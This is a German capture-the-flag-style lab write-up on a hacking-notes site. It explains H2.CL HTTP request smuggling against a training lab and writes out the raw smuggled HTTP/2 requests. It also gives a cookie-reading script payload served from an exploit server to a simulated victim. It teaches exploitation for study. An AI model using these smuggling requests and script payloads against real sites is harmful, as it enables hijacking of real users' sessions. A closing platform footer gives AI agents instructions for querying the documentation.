> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/h2-cl-request-smuggling.md).

# H2.CL Request Smuggling

### H2.CL-Request-Smuggling

Dieses Lab ist anfällig für **Request-Smuggling** weil der Frontend-Server Requests herabstuft **HTTP/2** selbst wenn sie eine uneindeutige Länge haben.

Das Ziel ist es, einen Angriff durchzuführen, der es dem Browser des Opfers ermöglicht, eine **JavaScript-Malware-Datei** zu laden und auszuführen, gehostet auf dem Exploit-Server, die Folgendes enthält:

```javascript
alert(document.cookie)
```

Der Opferbenutzer besucht die Startseite alle **10 Sekunden**.

#### **Umschalten eines 404 per Smuggling**

Um einen **404 Nicht gefunden**:

```http
POST / HTTP/2
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 14

test=testing
GET /error/ HTTP/1.1
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 11

test=test
```

#### **Analyse des Anwendungsverhaltens**

Die Seite lädt automatisch ein Skript:

`resources/js/analytics.js?uid=3309545055`

<figure><img src="/files/68db37745d115cb429bc53cc5177b6272a29fc24" alt=""><figcaption></figcaption></figure>

Dieses Skript erzeugt eine zufällige Kennung und sendet eine Anfrage an:

```javascript
/analytics?id=<random value>
```

<figure><img src="/files/10b339c41641dab0c3c71dea78b20099d07de275" alt=""><figcaption></figcaption></figure>

Auszug aus der Funktion:

```javascript
function randomString(length, chars) {
    var result = '';
    for (var i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
    return result;
}
var id = randomString(16, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
fetch('/analytics?id=' + id)
```

#### **Beobachtung akzeptierter Pfade**

Eine eingeschmuggelte Anfrage an:

```http
GET /resources HTTP/1.1
Host: test.com
Content-Length: 11

test=test
```

<figure><img src="/files/172dd744e774a536d89e3aa91a4811f6c7c0ef15" alt=""><figcaption></figcaption></figure>

wird akzeptiert.

Andererseits werden andere Pfade nicht akzeptiert.

<figure><img src="/files/957a2ab6fa139112754c050929a52237986d9ee8" alt=""><figcaption></figcaption></figure>

#### **Einschleusen eines bösartigen Skripts**

Wir platzieren unsere Nutzlast in der vom Exploit-Server bereitgestellten Datei:

* Dateiname: **resources**
* Inhalt des Bodys:

```javascript
<script>alert(document.cookie)</script>
```

<figure><img src="/files/a0653fba793c9e4be5211095ab370bfcd909fdce" alt=""><figcaption></figcaption></figure>

Das Opfer wird zu dieser Datei weitergeleitet, und der Browser führt den Alert aus, was die Ausnutzung bestätigt.

<figure><img src="/files/9224fb09361e74296be0616526f48351b9763c57" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/h2-cl-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
